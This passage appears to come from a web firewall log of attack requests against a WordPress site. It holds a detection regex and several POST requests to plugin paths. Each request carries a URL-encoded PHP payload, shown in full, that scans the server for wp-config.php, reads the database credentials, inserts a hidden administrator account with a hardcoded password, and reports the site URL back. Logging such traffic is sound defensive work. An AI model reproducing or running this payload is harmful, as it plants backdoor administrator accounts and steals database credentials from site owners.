ey%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncontent-length:12663\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nHJTgNT=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 17:29:27","213.209.159.254","POST","\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cmgIbF:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncontent-length:12663\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 